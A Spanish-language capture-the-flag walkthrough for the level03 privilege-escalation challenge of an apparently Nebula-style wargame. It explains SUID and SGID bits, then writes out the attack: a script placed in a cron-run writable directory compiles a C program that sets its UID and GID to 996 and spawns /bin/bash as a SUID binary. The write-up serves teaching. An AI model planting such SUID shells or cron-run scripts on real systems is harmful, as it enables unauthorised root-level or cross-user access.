En este nivel, se nos menciona lo siguiente como descripción del mismo:
«There is a crontab that is called every couple of minutes. «
Veamos… en el directorio /home/flag03/ tenemos lo siguiente:

Como podemos observar, el script writable.sh lo que hace es ejecutar en un periodo de 5 segundos ( CPU TIME ) lo que haya en /home/flag03/writable.d. Esta situación se da, como indica el propio enunciado, cuando flag03 ejecuta su tarea crontab, cada 2 minutos más o menos.
Para entender bien este nivel hay que tener claros los conceptos de bit suid y sgid:
Normalmente en los sistemas Unix || GNU\Linux actuales, los permisos de los ficheros se corresponden con un número en octal que varía entre 000 y 777 sin embargo existen unos permisos especiales que hacen variar ese número entre 0000 y 7777, dichos permisos se denominan bits de permanencia SGID (2000), y SUID (4000).
El bit de SUID o setuid se activa en los ficheros añadiendoles 4000 a la representación octal de los permisos del archivo y otorgándole además permiso de ejecución al propietario del mismo. Para ello vamos a ver varios ejemplos escritos en C para el evento.
#include <stdlib.h>
#include <stdio.h>
main () {
printf(" UID : %d, EUID : %d, GID : %d\n",getuid(),geteuid(),getgid());
}
Este código en C es lo mismo que ejecutar la orden id en nuestra terminal. Como se ha comentado anteriormente, existen muchos binarios setuidados en nuestro sistema que permiten ejecutar tareas especiales bajo los privilegios de root, como por ejemplo la orden passwd, un programa que pertenece a root y que permite modificar el fichero de user/pass del sistema no deberia poder ser ejecutado por cualquiera en cualquier circunstancia, esto es para lo que sirven el bit suid, en resumen, se ejecutan tareas bajo un uid específico distinto al usuario que ejecuta la acción, hasta que se haga un exit.
Una imagen vale más que mil palabras:


Como podemos observar, lo que se ha hecho es compilar el anterior código bajo el usuario level03, luego hemos logueado como root y hemos activado el bit suid y hemos hecho a root que sea su propietario, se puede observar la «s» en el primer tercio de la lista, en lugar de lo normal, que sería una «x» de permisos de ejecución.
A continuación, hemos vuelto al usuario level03, y hemos ejecutado suidexample con el bit suid activado por root, y el resultado es el esperado, observamos como nuestro GID ha cambiado a 0, perteneciente únicamente al superusuario, aunque sólo para esa ejecución, cuando se ha terminado se vuelve a nuestro GID normal, 1004.
Una vez sabiendo esto, volvamos a nuestro propósito, escalar privilegios.
Sabemos entonces que hay una tarea crontab que se ejecuta cada 2 minutos en el contexto de flag03 y que ejecuta todo aquello que hay en /home/flag03/writable.d/, se podria pensar en un script tal que así
#!/bin/bash
echo "/bin/sh" >> /dev/shm/escalate;chmod +sx /dev/shm/escalate
Aunque este código es correcto, las distribuciones de Linux modernas no permiten el uso del bit SUID en shell scripts por motivos de seguridad, no los adhiere, y aunque no daría error, al ejecutar la shell seguiriamos con el user level03, y eso no nos vale de mucho.
Para ello hay que escribir código en C y hacer uso de las funciones setuid() y setgid(), como muestra el siguiente código:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
int main()
{
setgid(996);
setuid(996);
system("/bin/bash");
return 0;
}
El hecho de setear el UID y GID a 996 es porque es el que pertenece al user flag03 al cual queremos escalar, extraido de /etc/passwd.
Una vez hecho esto, hay que crear a su vez para completar la escalada un script en bash que compile nuestro código en C y le de los permisos necesarios:
#!/bin/bash
gcc -o /home/flag03/escalaten0w-5 /tmp/escalate2.c
chmod +s /home/flag03/escalaten0w-5
chmod a+rwx /home/flag03/escalaten0w-5
Este script se habrá de ubicar en /home/flag03/writable.d/ y hará que el usuario flag03 compile el source code en C por nosotros y le setee los permisos necesarios para nuestros propósitos, y ubicará el binario en /home/flag03/.
Ahora sólo queda esperar and here we go !
